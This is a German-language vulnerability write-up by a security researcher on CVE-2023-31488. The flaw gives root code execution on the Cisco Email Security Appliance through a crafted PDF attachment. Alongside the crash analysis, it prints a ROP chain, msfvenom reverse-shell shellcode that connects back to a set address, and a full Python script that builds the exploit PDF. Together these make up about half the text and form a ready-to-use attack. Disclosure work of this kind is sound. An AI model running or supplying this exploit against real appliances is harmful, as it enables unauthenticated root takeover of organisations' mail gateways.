
Cisco Email Security Appliance: E-Mail zu zero-click RCE als Root - Remote Code Execution/Speicherkorruption/ROP-chain
Sicherheitsforscher: ly1g3, ly1g3[at]tuta.io
GPG-Fingerabdruck: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Übersicht: E-Mail zu Zero-Click-RCE als Root – Remote Code Execution/Memory Corruption/ROP-Kette
CVE: CVE-2023-31488
Zeitleiste:
Beim Fuzzing der Cisco Email Security Appliance (ESA) entdeckte ich eine Schwachstelle in Lexmark Perceptive Filters, die von der ESA zur Datenbereinigung von E-Mail-Anhängen verwendet werden, was zu RCE per E-Mail führt. Der Absturz tritt beim Parsen eines modifizierten PDF-Anhangs auf. Durch Ändern einer zweistelligen PDF-Objekt-ID, zum Beispiel:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Das Ändern eines Teils der ID von 13 auf etwas anderes (z. B. ein Leerzeichen) führt zu:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Das Senden dieses modifizierten PDFs in einer E-Mail an die Cisco ESA verursacht einen Segmentation-Fault-Absturz in libISYSpdf6.so. Der Absturz wird dadurch verursacht, dass r14 ASCII-Daten enthält.
Eine genauere Untersuchung zeigt, dass diese Daten aus dem Inhalt des von uns kontrollierten PDF-Anhangs stammen. Der Wert von r14 ist Rect.
Testen, wenn Rect in AAAA geändert wird.
Da der Wert von r14 aus Daten im PDF geladen wird, können wir ihn so ändern, dass er auf eine gültige Speicheradresse zeigt. Nach dieser Anpassung tritt ein weiterer Absturz aufgrund ungültiger Daten in RAX auf. Auch diese Daten stammen aus dem PDF.
Wir modifizieren das PDF so, dass rax ebenfalls auf eine tatsächliche Adresse zeigt, und fahren fort.
Ein neuer Absturz tritt auf; jetzt enthält rsi ASCII-Daten aus dem PDF.
Wir modifizieren das PDF erneut, um eine echte Speicheradresse zu laden.
Schließlich gelangen wir zu einem sehr interessanten Teil des Codes. Hier kontrollieren wir rdi, das zum Laden eines Wertes in rax verwendet wird. Die letzte Anweisung in dieser Sequenz ist call rax. Wir machen nun gute Fortschritte in Richtung Codeausführung.
Erneut öffnen wir den Hex-Editor und ändern den in rdi geladenen Wert.
Jetzt haben wir eine Möglichkeit zur eingeschränkten Codeausführung und können zu einer einzelnen Adresse springen. Da ASLR nicht vorhanden ist, ist das Auffinden von Speicheradressen einfach. Wir kontrollieren auch rdi und verwenden daher das anfängliche ROP-Gadget libISYSshared.so: push rdi; pop rsp; xor eax, , um rdi nach rsp zu verschieben und den Stack zu kontrollieren. Wir richten den Stack auf einen Bereich, den wir in der PDF-Speicherregion kontrollieren, mit einem benutzerdefinierten Stack, der mit weiteren ROP-Gadgets vorbereitet ist.
Ein von msfvenom generierter FreeBSD-Reverse-Shell-Shellcode wird in der PDF-Speicherregion platziert. Da der Speicher jedoch nicht ausführbar ist, müssen wir ihn zuerst ausführbar machen.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Da wir zu diesem Zeitpunkt den Stack kontrollieren, kann dies durch die folgende ROP-Kette erfolgen, die mmap aufruft, um den Shellcode-Speicherbereich als RWX zu setzen.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
Nachdem mmap aufgerufen wurde, führt call rsp; den NOP-Sled unseres Shellcodes aus, da die Adresse des Shellcodes als nächstes auf unserem benutzerdefinierten Stack liegt. Der Shellcode ist eine von msfvenom generierte Reverse Shell.
Interessant ist, dass dieser Code vor allen statischen Antiviren-Scans ausgeführt wird, sodass die Standard-Metasploit-Reverse-Shell problemlos funktioniert.
Wir können den folgenden POC verwenden, um ein funktionierendes PDF zu erstellen. Danach senden wir es einfach in einer E-Mail an die ESA, um RCE zu erlangen. Siehe meine anderen Schwachstellen für Privilegieneskalation.
Und damit erhalten wir eine Remote-Shell auf der ESA:
Dies war ein unterhaltsames Projekt, das mir viel über Speicherkorruptions-Schwachstellen beigebracht hat. Es zeigt auch, wie gut ein „moderner“ Speicherschutz wie ASLR ist, aber auch, dass man immer noch nicht-ASLR-Systeme da draußen finden kann.
ESA (Cisco Secure Email) Overflow-Angriff. Remote Code Execution als root.
Durch das Senden einer speziell präparierten PDF-Datei führt ein Überlauf dazu, dass ein Angreifer beliebige Remote-Codeausführung auf der ESA und anderen Produkten, die Lexmark Perceptive Filters verwenden, erlangen kann.
Dieser Overflow-Angriff ermöglicht es dem Angreifer, die Kontrolle über eine call rax-Anweisung zu erlangen, was das Umschalten auf beliebige Codeausführung trivial macht, da auf der ESA kein ASLR verwendet wird. Der Code wird als root ausgeführt.
Das Problem entsteht beim PDF-Parsing in der Bibliothek libISYSpdf6.so von Lexmark und wird durch Aufrufe der Funktion IGR_Open_File_Ex verursacht. Diese Funktion kann auf die safeprint-Funktionen und die image_analysis in AMP (Advanced Malware Protection) zurückgeführt werden, der Exploit könnte jedoch auch über andere Pfade ausgelöst werden.
Erstellen Sie ein PDF mit Subtype/CIDFontType2/FontDescriptor. Ein Beispiel finden Sie hier https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
Zum Beispiel:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
13 durch einen anderen Wert (z. B. Leerzeichen) 1 , was zu folgendem führt:1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Senden Sie das PDF an die ESA mit aktiviertem safeprint oder AMP image_analysis
Dies führt zu einem Segmentation Fault in libISYSpdf6.so
// r14 is now user controlled and point to data in pdf
0x804d4ffc0 mov rax, QWORD PTR [r14+0x18]
// Call with controlled rax, start of ROP chain
0x804d50298: call rax
import sys
from pwn import *
message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf
For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
Change of pdf_data_base_address may be required.
ly1g3, ly1g3[at]tuta.io
"""
def insert_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
content.insert(at_address+i,addr[i])
def overwrite_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
index = at_address+i
content[index] = addr[i]
def overwrite_string_at_address(content, at_address, content_to_write):
for i in range(len(content_to_write)):
index = at_address+i
content[index] = content_to_write[i]
if len(sys.argv) < 3:
print(message)
sys.exit()
file_in = sys.argv[1]
file_out = sys.argv[2]
content = None
with open(file_in, "rb") as fi:
content = bytearray(fi.read())
pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20
pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00
# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Insert address for r14
# at 0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384
address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)
# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0
#0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)
#0x804e51fc4 add r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)
# 0x804e08536 mov rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)
# 0x804e52286 mov rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
# 0x804e52289 mov rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298 call rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)
# 0x804e5228d mov esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)
# $rdi will after this point to pdf_data_base_address can be used for rop chain
## ROP CHAIN
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0;
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret;
first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)
second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)
stack=0x230
overwrite_at_address(content, stack, rop3,8)
rop_chain_start=0x238
from struct import pack
p = lambda x : pack('Q', x)
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)
rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
rop += buf
print(rop)
overwrite_string_at_address(content, rop_chain_start, rop)
# ROP Chain here
with open(file_out, "wb") as fo:
fo.write(content)